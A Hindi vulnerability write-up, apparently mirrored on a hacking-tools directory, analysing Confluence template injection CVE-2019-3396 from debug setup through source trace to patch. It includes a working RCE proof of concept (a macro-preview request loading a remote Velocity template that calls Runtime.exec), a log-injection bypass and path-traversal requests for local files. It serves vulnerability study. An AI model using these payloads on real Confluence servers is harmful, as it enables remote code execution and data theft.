Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/petrusviet/cve-2019-3396
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Confluence अनधिकृत टेम्पलेट इंजेक्शन

रिपॉजिटरी देखें
2115 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Confluence अनधिकृत टेम्पलेट इंजेक्शन (CVE-2019-3396)

I) निर्माण

  • यह बग निम्नलिखित संस्करणों पर होता है:
    • सभी संस्करण 1.x.x, 2.x.x, 3.x.x, 4.x.x और 5.x.x
    • सभी संस्करण 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x और 6.5.x
    • सभी संस्करण 6.6.x, 6.6.12 से पहले
    • सभी संस्करण 6.7.x, 6.8.x, 6.9.x, 6.10.x और 6.11.x
    • सभी संस्करण 6.12.x, 6.12.3 से पहले
    • सभी संस्करण 6.13.x, 6.13.3 से पहले
    • सभी संस्करण 6.14.x, 6.14.2 से पहले
  • स्रोत डाउनलोड करने के बाद आपको निम्न कार्य करने होंगे:
    • confluence.home का मान बदलकर ./confluence/WEB-INF/classes/confluence-init.properties फ़ाइल में confluence home का पता सेट करें।
    • प्रोग्राम को रिमोट डिबग मोड में चलाने के लिए CATALINA_OPTS मान जोड़ें।

Windows के लिए, फ़ाइल ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Linux के लिए, फ़ाइल ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • IDE (Intellij) में एक Debug Configuration बनाएं: Remote JVM Debug जिसमें host और port के मान localhost:5005 हों और Command line aguments for remote JVM के लिए निम्न हो:
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • हम PostgreSQL को डेटाबेस के रूप में उपयोग कर सकते हैं:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • हमें lib में jar जोड़ने की आवश्यकता है: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar, ताकि डिबग करते समय हम आवश्यक source देख सकें।

  • हम ./bin/start-confluence.bat फ़ाइल चलाते हैं और आप source से इंस्टॉल करने के लिए यह मार्गदर्शिका देख सकते हैं।

II) विश्लेषण

  • विवरण पढ़ने के बाद, हम जान सकते हैं कि यह बग Widget Connector सुविधा से शुरू होता है, इसलिए मैंने तुरंत Google किया कि यह सुविधा क्या है और इसे कैसे उपयोग करें:

    2 एक पेज एडिट करें

    3
    अन्य Macros चुनें

    4 Widget connector चुनें

    image

  • मैंने बेतरतीब पैरामीटर चुने और preview दबाया, फिर कुछ दिलचस्प देखने के लिए burp पर गया। image

  • इस पैकेट में, मैंने एक पैरामीटर देखा "pluginKey":"com.atlassian.confluence.extra.widgetconnector", इसलिए मैंने अनुमान लगाया कि Widget Connector सुविधा class com.atlassian.confluence.extra.widgetconnector में परिभाषित है, इसलिए मैंने path में खोजा कि कोई संदिग्ध jar पैकेज है या नहीं।

image

  • मैंने source code पढ़ने और debug करने के लिए ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar फ़ाइल को project की lib में जोड़ने की कोशिश की।

    1
    lib में jar फ़ाइल जोड़ने का तरीका

  • widgetconnector पैकेज खोलने पर मुझे WidgetMacro class पसंद आया, इसलिए मैंने इस class के constructor और execute फ़ंक्शन पर breakpoint लगाया ताकि देख सकूँ कि Preview सुविधा का उपयोग करने पर यह class कॉल होता है या नहीं 🕵️

    • image

    • execute फ़ंक्शन कॉल हुआ, फिर प्रोग्राम DefaultRenderManager.getEmbeddedHtml को कॉल करता है।

    • image

    • हम देखते हैं कि if के अंदर जाने के लिए widgetRenderer.matches(url) शर्त पूरी करनी होगी। हम YoutubeRenderer class में widgetRenderer.matches(url) फ़ंक्शन की जाँच करते हैं।

    • image

    • image

    • इस प्रकार मुझे url पैरामीटर को youtube (या Vimeo, Twitter, ...) वीडियो के पथ के रूप में सेट करना होगा। मैंने url को किसी भी youtube वीडियो के url पर सेट किया और प्रोग्राम if में प्रवेश कर गया, फिर widgetRenderer.getEmbeddedHtml(url, params) फ़ंक्शन को कॉल किया (class YoutubeRenderer)।

    • image

    • प्रोग्राम setDefaultParam फ़ंक्शन पर जाता है; यहाँ हमें एक hidden पैरामीटर _template दिखता है जो संदिग्ध लगता है :)

    • image

    • setDefaultParam फ़ंक्शन से बाहर निकलने के बाद, प्रोग्राम DefaultVelocityRenderService.render फ़ंक्शन को कॉल करता है।

    • image

    • आगे getRenderedTemplate और VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap) फ़ंक्शन से गुजरते हैं।

    • image

    • image

    • आगे VelocityUtils.getRenderedTemplate(String templateName, Context context) और getRenderedTemplateWithoutSwallowingErrors(templateName, context) पर।

    • image

    • renderTemplateWithoutSwallowingErrors फ़ंक्शन

    • image

    • प्रोग्राम getTemplate फ़ंक्शन को कॉल करता है, फिर VelocityEngine.getTemplate और RuntimeInstance.getTemplate पर जाता है; यहाँ हम देखते हैं कि प्रोग्राम getResource फ़ंक्शन को कॉल करता है जिसका इनपुट पैरामीटर _template का मान है। Java में, getResource फ़ंक्शन का उपयोग local फ़ाइल या इंटरनेट पर मौजूद फ़ाइल (HTTP प्रोटोकॉल के माध्यम से) को load करने के लिए किया जा सकता है।

    • रुककर सोचते हैं: क्या यह attacker को request में _template पैरामीटर जोड़कर प्रोग्राम में कोई भी template (local server या attacker के host से) डालने की अनुमति देता है??

    • image

    • हम उल्टा trace करना जारी रखते हैं, यह देखने के लिए कि template मिलने के बाद प्रोग्राम उसे कैसे संसाधित करता है:

    • template मिलने के बाद, प्रोग्राम VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); फ़ंक्शन को कॉल करता है।

    • image

    • और फिर template.merge(context, writer); पर।

    root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • यहाँ हम देखते हैं कि प्रोग्राम SimpleNode.render को कॉल करता है; यह फ़ंक्शन template को parse करने के लिए Velocity template का उपयोग करता है। अब हम देख सकते हैं कि RCE PoC लिखना संभव है:

Preview सुविधा का अनुरोध करते समय POST request पैकेट:

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close

{
"contentId":"622594",
"macro": {
    "name":"widget",
    "body":"","params": {
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "width":"10",
      "height":"10",
      "_template":"https://pastebin.com/raw/JPEpiuLG"
      }
}
}

payload फ़ाइल

root@kitploit:~
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
  • PoC सफलतापूर्वक चल गया:
  • image

Stack call

root@kitploit:~
WidgetMacro: execute
  -> DefaultRenderManager: getEmbeddedHtml
  	-> YoutubeRenderer: getEmbeddedHtml
  		-> DefaultVelocityRenderService: render -> getRenderedTemplate
  			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
  				
  				-> VelocityEngine: getTemplate
  					-> RuntimeInstance: getResource 

  			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors

  				-> Template: merge
  					=>  SimpleNode: render

इस प्रकार हमने इस बग का PoC फिर से सफलतापूर्वक किया, लेकिन यदि target एक ऐसा server है जो outbound connection को ब्लॉक करता है, तो attacker इंटरनेट से resource प्राप्त नहीं कर सकता; वह केवल server के local फ़ाइलों को resource के रूप में प्राप्त कर सकता है।

ऐसे मामले में, exploit कैसे करें?

मुझे एक सुझाव मिला कि किसी तरह उपयोगकर्ता log फ़ाइल में payload inject कर सकता है। यह काफी अच्छा विचार है, इसलिए मैंने तुरंत तरीका खोजना शुरू कर दिया।

  • मैंने Confluence Home में log फ़ाइलों को देखना शुरू किया कि उनमें क्या खास है। मैंने ./shared-home/analytics-logs/ में log फ़ाइलें देखीं और कुछ परिचित key-value देखे, ऐसा लगता है कि वे client-side से भेजे गए थे।
  • image
  • मैंने देखा कि POST /rest/analytics/1.0/publish/bulk पैकेट कुछ key-value भेजता है जैसा ऊपर दिखाया गया है।
root@kitploit:~
[{"name":"browser.metrics.navigation",
"properties":{
 "apdex":"0.5",
 "firstPaint":"528",
 "isInitial":"true",
 "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
 "key":"confluence.dashboard.view",
 "navigationType":"0",
 "readyForUser":"1117",
 "redirectCount":"0",
 "resourceLoadedEnd":"499",
 "resourceLoadedStart":90.35499999299645,
 "threshold":"1000",
 "unloadEventStart":"47",
 "unloadEventEnd":"47",
 "fetchStart":"25",
 "domainLookupStart":"25",
 "domainLookupEnd":"25",
 "connectStart":"25",
 "connectEnd":"25",
 "requestStart":"27",
 "responseStart":"28",
 "responseEnd":"37",
 "domLoading":"52",
 "domInteractive":"538",
 "domContentLoadedEventStart":"538",
 "domContentLoadedEventEnd":"691",
 "domComplete":"1176",
 "loadEventStart":"1176",
 "loadEventEnd":"1176",
 "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
 "pageEnd":"531",
 "isBigPipeEnabled":"false",
 "serverDuration":"339",
 "requestCorrelationId":"36006c54d2919ecd",
 "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
 "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
 }]
  • मैंने कुछ values बदलकर देखा, तो पाया कि resourceTiming value को मनमाने ढंग से संपादित किया जा सकता है और फिर भी इसे log में दर्ज किया जाता है।
  • image
  • इस प्रकार हम payload को server के local में स्थित log फ़ाइल में डाल सकते हैं।
  • यहाँ से हम confluence home का स्थान जानने के लिए ./confluence/WEB-INF/classes/confluence-init.properties फ़ाइल पढ़ सकते हैं।
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
  
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
  "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
  "_template":"/../../WEB-INF/classes/confluence-init.properties",
  "width":"11",
  "height":"11"
  }
}
}
  • और फिर वहाँ से उस log फ़ाइल का स्थान खोजें जिसमें मैंने payload inject किया था:
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
    
{
"contentId":"1507329",
"macro":{
  "name":"widget",
  "body":"",
  "params":{
    "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
    "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
    "width":"11",
    "height":"11"
    }
  }
}
  • यदि log फ़ाइल बहुत बड़ी है और template में parse के लिए नहीं डाली जा सकती, तो हम log को push कर सकते हैं ताकि log फ़ाइल आकार सीमा तक पहुँच जाए; उस समय सिस्टम स्वचालित रूप से नई फ़ाइल में log लिखता है, और attacker उस नई छोटी log फ़ाइल में payload inject करने का अवसर ले सकता है।

III) फिक्स

पैच में, WidgetMacro class में doSanitizeParameters फ़ंक्शन जोड़ा गया है जो renderManager.getEmbeddedHtml(url, parameters); कॉल करने से पहले "_template" पैरामीटर को हटा देता है।

image image image

टूल डाउनलोड करें